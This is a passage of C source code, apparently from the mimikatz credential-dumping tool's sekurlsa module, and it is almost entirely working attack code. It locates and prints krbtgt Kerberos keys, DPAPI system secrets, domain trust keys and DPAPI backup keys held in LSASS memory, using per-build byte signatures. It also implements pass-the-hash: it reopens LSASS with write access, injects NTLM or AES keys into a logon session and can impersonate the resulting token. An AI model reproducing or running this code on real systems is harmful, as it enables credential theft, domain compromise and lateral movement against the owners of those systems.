KIWI_KRBTGT_CREDENTIALS_5 tmpCred5, *creds5; | |
KULL_M_MEMORY_ADDRESS aLsass = {addr, cLsass.hLsassMem}, aLocal = {&tmpCred6, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; | |
if(addr) | |
{ | |
kprintf(L"\n%s krbtgt: ", prefix); | |
if(cLsass.osContext.MajorVersion < 6) // TODO: a field offset table | |
{ | |
aLocal.address = &tmpCred5; | |
if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(KIWI_KRBTGT_CREDENTIALS_5) - sizeof(KIWI_KRBTGT_CREDENTIAL_5))) | |
{ | |
sizeForCreds = sizeof(KIWI_KRBTGT_CREDENTIALS_5) + (tmpCred5.cbCred - 1) * sizeof(KIWI_KRBTGT_CREDENTIAL_5); | |
if(creds5 = (PKIWI_KRBTGT_CREDENTIALS_5) LocalAlloc(LPTR, sizeForCreds)) | |
{ | |
aLocal.address = creds5; | |
if(kull_m_memory_copy(&aLocal, &aLsass, sizeForCreds)) | |
{ | |
kprintf(L"%u credentials\n", creds5->cbCred); | |
for(i = 0; i < creds5->cbCred; i++) | |
{ | |
kprintf(L"\t * %s : ", kuhl_m_kerberos_ticket_etype(PtrToLong(creds5->credentials[i].type))); | |
aLsass.address = creds5->credentials[i].key; | |
if(aLocal.address = LocalAlloc(LPTR, PtrToUlong(creds5->credentials[i].size))) | |
{ | |
if(kull_m_memory_copy(&aLocal, &aLsass, PtrToUlong(creds5->credentials[i].size))) | |
kull_m_string_wprintf_hex(aLocal.address, PtrToUlong(creds5->credentials[i].size), 0); | |
LocalFree(aLocal.address); | |
} | |
kprintf(L"\n"); | |
} | |
} | |
LocalFree(creds5); | |
} | |
} | |
} | |
else if(cLsass.osContext.BuildNumber < KULL_M_WIN_BUILD_10_1607) | |
{ | |
aLocal.address = &tmpCred6; | |
if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(KIWI_KRBTGT_CREDENTIALS_6) - sizeof(KIWI_KRBTGT_CREDENTIAL_6))) | |
{ | |
sizeForCreds = sizeof(KIWI_KRBTGT_CREDENTIALS_6) + (tmpCred6.cbCred - 1) * sizeof(KIWI_KRBTGT_CREDENTIAL_6); | |
if(creds6 = (PKIWI_KRBTGT_CREDENTIALS_6) LocalAlloc(LPTR, sizeForCreds)) | |
{ | |
aLocal.address = creds6; | |
if(kull_m_memory_copy(&aLocal, &aLsass, sizeForCreds)) | |
{ | |
kprintf(L"%u credentials\n", creds6->cbCred); | |
for(i = 0; i < creds6->cbCred; i++) | |
{ | |
kprintf(L"\t * %s : ", kuhl_m_kerberos_ticket_etype(PtrToLong(creds6->credentials[i].type))); | |
aLsass.address = creds6->credentials[i].key; | |
if(aLocal.address = LocalAlloc(LPTR, PtrToUlong(creds6->credentials[i].size))) | |
{ | |
if(kull_m_memory_copy(&aLocal, &aLsass, PtrToUlong(creds6->credentials[i].size))) | |
kull_m_string_wprintf_hex(aLocal.address, PtrToUlong(creds6->credentials[i].size), 0); | |
LocalFree(aLocal.address); | |
} | |
kprintf(L"\n"); | |
} | |
} | |
LocalFree(creds6); | |
} | |
} | |
} | |
else | |
{ | |
aLocal.address = &tmpCred64; | |
if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(KIWI_KRBTGT_CREDENTIALS_64) - sizeof(KIWI_KRBTGT_CREDENTIAL_64))) | |
{ | |
sizeForCreds = sizeof(KIWI_KRBTGT_CREDENTIALS_64) + (tmpCred64.cbCred - 1) * sizeof(KIWI_KRBTGT_CREDENTIAL_64); | |
if(creds64 = (PKIWI_KRBTGT_CREDENTIALS_64) LocalAlloc(LPTR, sizeForCreds)) | |
{ | |
aLocal.address = creds64; | |
if(kull_m_memory_copy(&aLocal, &aLsass, sizeForCreds)) | |
{ | |
kprintf(L"%u credentials\n", creds64->cbCred); | |
for(i = 0; i < creds64->cbCred; i++) | |
{ | |
kprintf(L"\t * %s : ", kuhl_m_kerberos_ticket_etype(PtrToLong(creds64->credentials[i].type))); | |
aLsass.address = creds64->credentials[i].key; | |
if(aLocal.address = LocalAlloc(LPTR, PtrToUlong(creds64->credentials[i].size))) | |
{ | |
if(kull_m_memory_copy(&aLocal, &aLsass, PtrToUlong(creds64->credentials[i].size))) | |
kull_m_string_wprintf_hex(aLocal.address, PtrToUlong(creds64->credentials[i].size), 0); | |
LocalFree(aLocal.address); | |
} | |
kprintf(L"\n"); | |
} | |
} | |
LocalFree(creds64); | |
} | |
} | |
} | |
} | |
} | |
#endif | |
#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 | |
BYTE PTRN_WI52_SysCred[] = {0xb9, 0x14, 0x00, 0x00, 0x00, 0xf3, 0xaa, 0x48, 0x8d, 0x3d}; | |
BYTE PTRN_WI60_SysCred[] = {0x48, 0x8b, 0xca, 0xf3, 0xaa, 0x48, 0x8d, 0x3d}; | |
BYTE PTRN_WN62_SysCred[] = {0x8b, 0xca, 0xf3, 0xaa, 0x48, 0x8d, 0x3d}; | |
BYTE PTRN_W2004_SysCred[] = {0x8d, 0x50, 0x14, 0x8b, 0xca, 0x44, 0x8d, 0x48, 0x01, 0x44}; | |
KULL_M_PATCH_GENERIC SysCredReferences[] = { | |
{KULL_M_WIN_MIN_BUILD_2K3, {sizeof(PTRN_WI52_SysCred), PTRN_WI52_SysCred}, {0, NULL}, { 21, -4, 10}}, | |
{KULL_M_WIN_MIN_BUILD_VISTA, {sizeof(PTRN_WI60_SysCred), PTRN_WI60_SysCred}, {0, NULL}, {-13, -19, 8}}, | |
{KULL_M_WIN_MIN_BUILD_7, {sizeof(PTRN_WI60_SysCred), PTRN_WI60_SysCred}, {0, NULL}, { -7, -13, 8}}, | |
{KULL_M_WIN_MIN_BUILD_8, {sizeof(PTRN_WN62_SysCred), PTRN_WN62_SysCred}, {0, NULL}, {-10, -19, 7}}, | |
{KULL_M_WIN_MIN_BUILD_BLUE, {sizeof(PTRN_WN62_SysCred), PTRN_WN62_SysCred}, {0, NULL}, {-27, -4, 7}}, | |
{KULL_M_WIN_MIN_BUILD_10, {sizeof(PTRN_WN62_SysCred), PTRN_WN62_SysCred}, {0, NULL}, {-20, -26, 7}}, | |
{KULL_M_WIN_BUILD_10_2004, {sizeof(PTRN_W2004_SysCred), PTRN_W2004_SysCred}, {0, NULL}, {-10, -16, 21}}, | |
}; | |
#elif defined(_M_IX86) | |
BYTE PTRN_WI51_SysCred[] = {0x00, 0xab, 0x33, 0xc0, 0xbf}; | |
BYTE PTRN_WI52_SysCred[] = {0x59, 0x33, 0xd2, 0x88, 0x10, 0x40, 0x49, 0x75}; | |
BYTE PTRN_WI60_SysCred[] = {0x6a, 0x14, 0x59, 0xb8}; | |
BYTE PTRN_WI62_SysCred[] = {0x6a, 0x14, 0x5a, 0x8b, 0xf2, 0xb9}; | |
BYTE PTRN_WI63_SysCred[] = {0x6a, 0x14, 0x59, 0x8b, 0xd1, 0xb8}; | |
KULL_M_PATCH_GENERIC SysCredReferences[] = { | |
{KULL_M_WIN_MIN_BUILD_XP, {sizeof(PTRN_WI51_SysCred), PTRN_WI51_SysCred}, {0, NULL}, { -4, -14, 5}}, | |
{KULL_M_WIN_MIN_BUILD_2K3, {sizeof(PTRN_WI52_SysCred), PTRN_WI52_SysCred}, {0, NULL}, { 27, -4, 12}}, | |
{KULL_M_WIN_MIN_BUILD_VISTA, {sizeof(PTRN_WI60_SysCred), PTRN_WI60_SysCred}, {0, NULL}, { 34, 4, 20}}, | |
{KULL_M_WIN_MIN_BUILD_8, {sizeof(PTRN_WI62_SysCred), PTRN_WI62_SysCred}, {0, NULL}, { 36, 6, 17}}, | |
{KULL_M_WIN_MIN_BUILD_BLUE, {sizeof(PTRN_WI63_SysCred), PTRN_WI63_SysCred}, {0, NULL}, { 31, 6, 18}}, | |
{KULL_M_WIN_MIN_BUILD_10, {sizeof(PTRN_WI63_SysCred), PTRN_WI63_SysCred}, {0, NULL}, { 35, 6, 20}}, | |
}; | |
#endif | |
NTSTATUS kuhl_m_sekurlsa_dpapi_system(int argc, wchar_t * argv[]) | |
{ | |
NTSTATUS status = kuhl_m_sekurlsa_acquireLSA(); | |
KULL_M_MEMORY_ADDRESS aLsass = {NULL, cLsass.hLsassMem}, aLocal = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; | |
PKUHL_M_SEKURLSA_PACKAGE pPackage = (cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8) ? &kuhl_m_sekurlsa_dpapi_svc_package : &kuhl_m_sekurlsa_dpapi_lsa_package; | |
PVOID pBool = NULL, pShaSystem = NULL, pShaUser = NULL; | |
BOOL fSystemCredsInitialized; | |
BYTE origInit, rgbSystemCredMachine[SHA_DIGEST_LENGTH], rgbSystemCredUser[SHA_DIGEST_LENGTH]; | |
if(NT_SUCCESS(status)) | |
{ | |
if(pPackage->Module.isPresent) | |
{ | |
origInit = pPackage->Module.isInit; | |
if(kuhl_m_sekurlsa_utils_search_generic(&cLsass, &pPackage->Module, SysCredReferences, ARRAYSIZE(SysCredReferences), &pBool, &pShaSystem, &pShaUser, NULL)) | |
{ | |
pPackage->Module.isInit = origInit; // trick to use same packages as normal module. | |
aLocal.address = &fSystemCredsInitialized; | |
aLsass.address = pBool; | |
if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(fSystemCredsInitialized))) | |
{ | |
if(fSystemCredsInitialized) | |
{ | |
kprintf(L"DPAPI_SYSTEM\n"); | |
aLocal.address = &rgbSystemCredMachine; | |
aLsass.address = pShaSystem; | |
if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(rgbSystemCredMachine))) | |
{ | |
aLocal.address = &rgbSystemCredUser; | |
aLsass.address = pShaUser; | |
if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(rgbSystemCredUser))) | |
{ | |
kprintf(L"full: "); | |
kull_m_string_wprintf_hex(rgbSystemCredMachine, sizeof(rgbSystemCredMachine), 0); | |
kull_m_string_wprintf_hex(rgbSystemCredUser, sizeof(rgbSystemCredUser), 0); | |
kprintf(L"\nm/u : "); | |
kull_m_string_wprintf_hex(rgbSystemCredMachine, sizeof(rgbSystemCredMachine), 0); | |
kprintf(L" / "); | |
kull_m_string_wprintf_hex(rgbSystemCredUser, sizeof(rgbSystemCredUser), 0); | |
kprintf(L"\n"); | |
} | |
else PRINT_ERROR(L"Unable to copy (rgbSystemCredUser)\n"); | |
} | |
else PRINT_ERROR(L"Unable to copy (rgbSystemCredMachine)\n"); | |
} | |
else PRINT_ERROR(L"Not initialized!\n"); | |
} | |
else PRINT_ERROR(L"Unable to copy (bool)\n"); | |
} | |
else PRINT_ERROR(L"Pattern not found in DPAPI service\n"); | |
} | |
else PRINT_ERROR(L"DPAPI service not in LSASS memory\n"); | |
} | |
return status; | |
} | |
#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 | |
BYTE PTRN_W2K8R2_DomainList[] = {0xf3, 0x0f, 0x6f, 0x6c, 0x24, 0x30, 0xf3, 0x0f, 0x7f, 0x2d}; | |
BYTE PTRN_W2K12R2_DomainList[] = {0x0f, 0x10, 0x45, 0xf0, 0x66, 0x48, 0x0f, 0x7e, 0xc0, 0x0f, 0x11, 0x05}; | |
BYTE PTRN_W2K16_DomainList[] = {0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xf1, 0xeb}; | |
KULL_M_PATCH_GENERIC DomainListReferences[] = { | |
{KULL_M_WIN_BUILD_7, {sizeof(PTRN_W2K8R2_DomainList), PTRN_W2K8R2_DomainList}, {0, NULL}, {10}}, | |
{KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_W2K12R2_DomainList), PTRN_W2K12R2_DomainList}, {0, NULL}, { 8}}, | |
{KULL_M_WIN_BUILD_10_1607, {sizeof(PTRN_W2K16_DomainList), PTRN_W2K16_DomainList}, {0, NULL}, {-4}}, | |
}; | |
NTSTATUS kuhl_m_sekurlsa_trust(int argc, wchar_t * argv[]) | |
{ | |
NTSTATUS status = kuhl_m_sekurlsa_acquireLSA(); | |
PVOID buffer; | |
KDC_DOMAIN_INFO domainInfo; | |
KULL_M_MEMORY_ADDRESS aLsass = {NULL, cLsass.hLsassMem}, data = {&buffer, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aBuffer = {&domainInfo, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; | |
if(cLsass.osContext.BuildNumber >= KULL_M_WIN_BUILD_7) | |
{ | |
if(NT_SUCCESS(status)) | |
{ | |
if(kuhl_m_sekurlsa_kdcsvc_package.Module.isPresent) | |
{ | |
if(kuhl_m_sekurlsa_utils_search_generic(&cLsass, &kuhl_m_sekurlsa_kdcsvc_package.Module, DomainListReferences, ARRAYSIZE(DomainListReferences), &aLsass.address, NULL, NULL, NULL)) | |
{ | |
if(kull_m_memory_copy(&data, &aLsass, sizeof(PVOID))) | |
{ | |
data.address = buffer; | |
data.hMemory = cLsass.hLsassMem; | |
while(data.address != aLsass.address) | |
{ | |
if(kull_m_memory_copy(&aBuffer, &data, sizeof(KDC_DOMAIN_INFO))) | |
{ | |
kuhl_m_sekurlsa_trust_domaininfo(&domainInfo); | |
data.address = domainInfo.list.Flink; | |
} | |
else break; | |
} | |
} | |
} | |
else PRINT_ERROR(L"Pattern not found in KDC service\n"); | |
} | |
else PRINT_ERROR(L"KDC service not in LSASS memory\n"); | |
} | |
} | |
else PRINT_ERROR(L"Only for >= 2008r2\n"); | |
return status; | |
} | |
void kuhl_m_sekurlsa_trust_domainkeys(struct _KDC_DOMAIN_KEYS_INFO * keysInfo, PCWSTR prefix, BOOL incoming, PCUNICODE_STRING domain) | |
{ | |
KULL_M_MEMORY_ADDRESS aLsass = {keysInfo->keys, cLsass.hLsassMem}, aData = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; | |
DWORD i; | |
PKDC_DOMAIN_KEYS domainKeys; | |
if((keysInfo->keysSize && keysInfo->keys) || (keysInfo->password.Length && keysInfo->password.Buffer)) | |
{ | |
kprintf(L"\n [%s] ", prefix); | |
kprintf(incoming ? L"-> %wZ\n" : L"%wZ ->\n", domain); | |
if(kull_m_process_getUnicodeString(&keysInfo->password, cLsass.hLsassMem)) | |
{ | |
kprintf(L"\tfrom: "); | |
if(kull_m_string_suspectUnicodeString(&keysInfo->password)) | |
kprintf(L"%wZ", &keysInfo->password); | |
else kull_m_string_wprintf_hex(keysInfo->password.Buffer, keysInfo->password.Length, 1); | |
LocalFree(keysInfo->password.Buffer); | |
} | |
kprintf(L"\n"); | |
if(keysInfo->keysSize && keysInfo->keys) | |
{ | |
if(domainKeys = (PKDC_DOMAIN_KEYS) LocalAlloc(LPTR, keysInfo->keysSize)) | |
{ | |
aData.address = domainKeys; | |
if(kull_m_memory_copy(&aData, &aLsass, keysInfo->keysSize)) | |
{ | |
for(i = 0; i < domainKeys->nbKeys; i++) | |
{ | |
kprintf(L"\t* %s : ", kuhl_m_kerberos_ticket_etype(domainKeys->keys[i].type)); | |
kull_m_string_wprintf_hex((PBYTE) domainKeys + domainKeys->keys[i].offset, domainKeys->keys[i].size, 0); | |
kprintf(L"\n"); | |
} | |
} | |
LocalFree(domainKeys); | |
} | |
} | |
} | |
} | |
void kuhl_m_sekurlsa_trust_domaininfo(struct _KDC_DOMAIN_INFO * info) | |
{ | |
if(kull_m_process_getUnicodeString(&info->FullDomainName, cLsass.hLsassMem)) | |
{ | |
if(kull_m_process_getUnicodeString(&info->NetBiosName, cLsass.hLsassMem)) | |
{ | |
kprintf(L"\nDomain: %wZ (%wZ", &info->FullDomainName, &info->NetBiosName); | |
if(kull_m_process_getSid(&info->DomainSid, cLsass.hLsassMem)) | |
{ | |
kprintf(L" / "); kull_m_string_displaySID(info->DomainSid); | |
LocalFree(info->DomainSid); | |
} | |
kprintf(L")\n"); | |
kuhl_m_sekurlsa_trust_domainkeys(&info->IncomingAuthenticationKeys, L" Out ", FALSE, &info->FullDomainName); // Input keys are for Out relation ship... | |
kuhl_m_sekurlsa_trust_domainkeys(&info->OutgoingAuthenticationKeys, L" In ", TRUE, &info->FullDomainName); | |
kuhl_m_sekurlsa_trust_domainkeys(&info->IncomingPreviousAuthenticationKeys, L"Out-1", FALSE, &info->FullDomainName); | |
kuhl_m_sekurlsa_trust_domainkeys(&info->OutgoingPreviousAuthenticationKeys, L" In-1", TRUE, &info->FullDomainName); | |
LocalFree(info->NetBiosName.Buffer); | |
} | |
LocalFree(info->FullDomainName.Buffer); | |
} | |
} | |
void kuhl_m_sekurlsa_bkey(PKUHL_M_SEKURLSA_CONTEXT cLsass, PKUHL_M_SEKURLSA_LIB pLib, PKULL_M_PATCH_GENERIC generics, SIZE_T cbGenerics, BOOL isExport) | |
{ | |
KULL_M_MEMORY_ADDRESS aLsass = {NULL, cLsass->hLsassMem}, aData = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; | |
GUID guid; | |
DWORD cb; | |
PVOID pGuid, pKeyLen, pKeyBuffer; | |
if(kuhl_m_sekurlsa_utils_search_generic(cLsass, pLib, generics, cbGenerics, &pGuid, &pKeyLen, &pKeyBuffer, NULL)) | |
{ | |
if(aLsass.address = pGuid) | |
{ | |
aData.address = &guid; | |
if(kull_m_memory_copy(&aData, &aLsass, sizeof(GUID))) | |
{ | |
kull_m_string_displayGUID(&guid); kprintf(L"\n"); | |
if(aLsass.address = pKeyLen) | |
{ | |
aData.address = &cb; | |
if(kull_m_memory_copy(&aData, &aLsass, sizeof(DWORD))) | |
{ | |
if(cb && (aLsass.address = pKeyBuffer)) | |
{ | |
aData.address = &aLsass.address; | |
if(kull_m_memory_copy(&aData, &aLsass, sizeof(PVOID))) | |
{ | |
if(aData.address = LocalAlloc(LPTR, cb)) | |
{ | |
if(kull_m_memory_copy(&aData, &aLsass, cb)) | |
{ | |
kuhl_m_lsadump_analyzeKey(&guid, (PKIWI_BACKUP_KEY) aData.address, cb, isExport); | |
} | |
LocalFree(aData.address); | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
else PRINT_ERROR(L"Pattern not found in DPAPI service\n"); | |
} | |
BYTE PTRN_WALL_BackupKey[] = {0xb9, 0x02, 0x00, 0x00, 0x00, 0x89, 0x05}; | |
BYTE PTRN_W2K16_BackupKey[] = {0xb9, 0x02, 0x00, 0x00, 0x00, 0xe8}; | |
KULL_M_PATCH_GENERIC BackupKeyReferences[] = { | |
{KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WALL_BackupKey), PTRN_WALL_BackupKey}, {0, NULL}, {-4, 37, 44}}, | |
{KULL_M_WIN_BUILD_VISTA,{sizeof(PTRN_WALL_BackupKey), PTRN_WALL_BackupKey}, {0, NULL}, {-4, 40, 47}}, | |
{KULL_M_WIN_BUILD_7, {sizeof(PTRN_WALL_BackupKey), PTRN_WALL_BackupKey}, {0, NULL}, {-4, 33, 40}}, | |
{KULL_M_WIN_BUILD_8, {sizeof(PTRN_WALL_BackupKey), PTRN_WALL_BackupKey}, {0, NULL}, {-4, 30, 37}}, | |
{KULL_M_WIN_BUILD_10_1607, {sizeof(PTRN_W2K16_BackupKey), PTRN_W2K16_BackupKey}, {0, NULL}, {-10, 24, 31}}, | |
}; | |
BYTE PTRN_W2K3_BackupKeyCompat[] = {0x45, 0x33, 0xc9, 0x48, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xe8}; | |
BYTE PTRN_W2K8_BackupKeyCompat[] = {0xb9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd7, 0xe8}; | |
BYTE PTRN_W2K8R2_BackupKeyCompat[] = {0xb9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd6, 0xe8}; | |
BYTE PTRN_W2K12_BackupKeyCompat[] = {0x85, 0xc0, 0x74, 0x21, 0x4c, 0x8d, 0x05}; | |
BYTE PTRN_W2K12R2_BackupKeyCompat[] = {0xb9, 0x01, 0x00, 0x00, 0x00, 0xe8}; | |
BYTE PTRN_W2K16_BackupKeyCompat[] = {0x85, 0xc0, 0x75, 0x1e, 0xe8}; | |
KULL_M_PATCH_GENERIC BackupKeyReferencesCompat[] = { | |
{KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_W2K3_BackupKeyCompat), PTRN_W2K3_BackupKeyCompat}, {0, NULL}, {-4, -18, -11}}, | |
{KULL_M_WIN_BUILD_VISTA,{sizeof(PTRN_W2K8_BackupKeyCompat), PTRN_W2K8_BackupKeyCompat}, {0, NULL}, {-4, 26, 33}}, | |
{KULL_M_WIN_BUILD_7, {sizeof(PTRN_W2K8R2_BackupKeyCompat), PTRN_W2K8R2_BackupKeyCompat}, {0, NULL}, {-4, 20, 27}}, | |
{KULL_M_WIN_BUILD_8, {sizeof(PTRN_W2K12_BackupKeyCompat), PTRN_W2K12_BackupKeyCompat}, {0, NULL}, {21, 7, 14}}, | |
{KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_W2K12R2_BackupKeyCompat), PTRN_W2K12R2_BackupKeyCompat}, {0, NULL}, {-4, 17, 24}}, | |
{KULL_M_WIN_BUILD_10_1607, {sizeof(PTRN_W2K16_BackupKeyCompat), PTRN_W2K16_BackupKeyCompat}, {0, NULL}, {-9, -23, -16}}, | |
}; | |
NTSTATUS kuhl_m_sekurlsa_bkeys(int argc, wchar_t * argv[]) | |
{ | |
NTSTATUS status = kuhl_m_sekurlsa_acquireLSA(); | |
PKUHL_M_SEKURLSA_LIB pLib; | |
BOOL export = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL); | |
if(NT_SUCCESS(status)) | |
{ | |
pLib = (cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8) ? &kuhl_m_sekurlsa_dpapi_svc_package.Module : &kuhl_m_sekurlsa_dpapi_lsa_package.Module; | |
if(pLib->isPresent) | |
{ | |
kprintf(L"\nCurrent prefered key: "); | |
kuhl_m_sekurlsa_bkey(&cLsass, pLib, BackupKeyReferences, ARRAYSIZE(BackupKeyReferences), export); | |
kprintf(L"\nCompatibility prefered key: "); | |
kuhl_m_sekurlsa_bkey(&cLsass, pLib, BackupKeyReferencesCompat, ARRAYSIZE(BackupKeyReferencesCompat), export); | |
} | |
} | |
return status; | |
} | |
#endif | |
NTSTATUS kuhl_m_sekurlsa_pth(int argc, wchar_t * argv[]) | |
{ | |
BYTE ntlm[LM_NTLM_HASH_LENGTH], aes128key[AES_128_KEY_LENGTH], aes256key[AES_256_KEY_LENGTH]; | |
TOKEN_STATISTICS tokenStats; | |
SEKURLSA_PTH_DATA data = {&tokenStats.AuthenticationId, NULL, NULL, NULL, FALSE}; | |
PCWCHAR szUser, szDomain, szRun, szNTLM, szAes128, szAes256, szLuid = NULL; | |
DWORD dwNeededSize; | |
HANDLE hToken, hNewToken; | |
PROCESS_INFORMATION processInfos; | |
BOOL isImpersonate; | |
if(kull_m_string_args_byName(argc, argv, L"luid", &szLuid, NULL)) | |
{ | |
tokenStats.AuthenticationId.HighPart = 0; // because I never saw it != 0 | |
tokenStats.AuthenticationId.LowPart = wcstoul(szLuid, NULL, 0); | |
} | |
else | |
{ | |
if(kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL)) | |
{ | |
if(kull_m_string_args_byName(argc, argv, L"domain", &szDomain, NULL)) | |
{ | |
isImpersonate = kull_m_string_args_byName(argc, argv, L"impersonate", NULL, NULL); | |
#pragma warning(push) | |
#pragma warning(disable:4996) | |
kull_m_string_args_byName(argc, argv, L"run", &szRun, isImpersonate ? _wpgmptr : L"cmd.exe"); | |
#pragma warning(pop) | |
kprintf(L"user\t: %s\ndomain\t: %s\nprogram\t: %s\nimpers.\t: %s\n", szUser, szDomain, szRun, isImpersonate ? L"yes" : L"no"); | |
} | |
else PRINT_ERROR(L"Missing argument : domain\n"); | |
} | |
else PRINT_ERROR(L"Missing argument : user\n"); | |
} | |
if(kull_m_string_args_byName(argc, argv, L"aes128", &szAes128, NULL)) | |
{ | |
if(MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_7) | |
{ | |
if(kull_m_string_stringToHex(szAes128, aes128key, AES_128_KEY_LENGTH)) | |
{ | |
data.Aes128Key = aes128key; | |
kprintf(L"AES128\t: "); kull_m_string_wprintf_hex(data.Aes128Key, AES_128_KEY_LENGTH, 0); kprintf(L"\n"); | |
} | |
else PRINT_ERROR(L"AES128 key length must be 32 (16 bytes)\n"); | |
} | |
else PRINT_ERROR(L"AES128 key only supported from Windows 8.1 (or 7/8 with kb2871997)\n"); | |
} | |
if(kull_m_string_args_byName(argc, argv, L"aes256", &szAes256, NULL)) | |
{ | |
if(MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_7) | |
{ | |
if(kull_m_string_stringToHex(szAes256, aes256key, AES_256_KEY_LENGTH)) | |
{ | |
data.Aes256Key = aes256key; | |
kprintf(L"AES256\t: "); kull_m_string_wprintf_hex(data.Aes256Key, AES_256_KEY_LENGTH, 0); kprintf(L"\n"); | |
} | |
else PRINT_ERROR(L"AES256 key length must be 64 (32 bytes)\n"); | |
} | |
else PRINT_ERROR(L"AES256 key only supported from Windows 8.1 (or 7/8 with kb2871997)\n"); | |
} | |
if(kull_m_string_args_byName(argc, argv, L"rc4", &szNTLM, NULL) || kull_m_string_args_byName(argc, argv, L"ntlm", &szNTLM, NULL)) | |
{ | |
if(kull_m_string_stringToHex(szNTLM, ntlm, LM_NTLM_HASH_LENGTH)) | |
{ | |
data.NtlmHash = ntlm; | |
kprintf(L"NTLM\t: "); kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); | |
} | |
else PRINT_ERROR(L"ntlm hash/rc4 key length must be 32 (16 bytes)\n"); | |
} | |
if(data.NtlmHash || data.Aes128Key || data.Aes256Key) | |
{ | |
if(szLuid) | |
{ | |
kprintf(L"mode\t: replacing NTLM/RC4 key in a session\n"); | |
kuhl_m_sekurlsa_pth_luid(&data); | |
} | |
else if(szUser) | |
{ | |
if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, szUser, szDomain, L"", &processInfos, FALSE)) | |
{ | |
kprintf(L" | PID %u\n | TID %u\n",processInfos.dwProcessId, processInfos.dwThreadId); | |
if(OpenProcessToken(processInfos.hProcess, TOKEN_READ | (isImpersonate ? TOKEN_DUPLICATE : 0), &hToken)) | |
{ | |
if(GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize)) | |
{ | |
kuhl_m_sekurlsa_pth_luid(&data); | |
if(data.isReplaceOk) | |
{ | |
if(isImpersonate) | |
{ | |
if(DuplicateTokenEx(hToken, TOKEN_QUERY | TOKEN_IMPERSONATE, NULL, SecurityDelegation, TokenImpersonation, &hNewToken)) | |
{ | |
if(SetThreadToken(NULL, hNewToken)) | |
kprintf(L"** Token Impersonation **\n"); | |
else PRINT_ERROR_AUTO(L"SetThreadToken"); | |
CloseHandle(hNewToken); | |
} | |
else PRINT_ERROR_AUTO(L"DuplicateTokenEx"); | |
NtTerminateProcess(processInfos.hProcess, STATUS_SUCCESS); | |
} | |
else NtResumeProcess(processInfos.hProcess); | |
} | |
else NtTerminateProcess(processInfos.hProcess, STATUS_PROCESS_IS_TERMINATING); | |
} | |
else PRINT_ERROR_AUTO(L"GetTokenInformation"); | |
CloseHandle(hToken); | |
} | |
else PRINT_ERROR_AUTO(L"OpenProcessToken"); | |
CloseHandle(processInfos.hThread); | |
CloseHandle(processInfos.hProcess); | |
} | |
else PRINT_ERROR_AUTO(L"CreateProcessWithLogonW"); | |
} | |
else PRINT_ERROR(L"Bas user or LUID\n"); | |
} | |
else PRINT_ERROR(L"Missing at least one argument : ntlm/rc4 OR aes128 OR aes256\n"); | |
return STATUS_SUCCESS; | |
} | |
VOID kuhl_m_sekurlsa_pth_luid(PSEKURLSA_PTH_DATA data) | |
{ | |
OBJECT_BASIC_INFORMATION bi; | |
ULONG szNeeded; | |
HANDLE hTemp; | |
NTSTATUS status; | |
BOOL isRWok = FALSE; | |
if(NT_SUCCESS(kuhl_m_sekurlsa_acquireLSA()) && (cLsass.hLsassMem->type == KULL_M_MEMORY_TYPE_PROCESS)) | |
{ | |
kprintf(L" | LSA Process "); | |
status = NtQueryObject(cLsass.hLsassMem->pHandleProcess->hProcess, ObjectBasicInformation, &bi, sizeof(OBJECT_BASIC_INFORMATION), &szNeeded); | |
if(NT_SUCCESS(status)) | |
{ | |
if(isRWok = (bi.GrantedAccess & (PROCESS_VM_OPERATION | PROCESS_VM_WRITE))) | |
kprintf(L"was already R/W\n"); | |
else | |
{ | |
if(hTemp = OpenProcess(bi.GrantedAccess | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, GetProcessId(cLsass.hLsassMem->pHandleProcess->hProcess))) | |
{ | |
isRWok = TRUE; | |
CloseHandle(cLsass.hLsassMem->pHandleProcess->hProcess); | |
cLsass.hLsassMem->pHandleProcess->hProcess = hTemp; | |
kprintf(L"is now R/W\n"); | |
} | |
else PRINT_ERROR_AUTO(L"OpenProcess"); | |
//if(isRWok = DuplicateHandle(GetCurrentProcess(), cLsass.hLsassMem->pHandleProcess->hProcess, GetCurrentProcess(), &hTemp, bi.GrantedAccess | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, 0)) // FAIL :( | |
//{ | |
// CloseHandle(cLsass.hLsassMem->pHandleProcess->hProcess); | |
// cLsass.hLsassMem->pHandleProcess->hProcess = hTemp; | |
// kprintf(L"is now R/W\n"); | |
//} | |
//else PRINT_ERROR_AUTO(L"DuplicateHandle"); | |
} | |
} | |
else PRINT_ERROR(L"NtQueryObject: %08x\n", status); | |
if(isRWok) | |
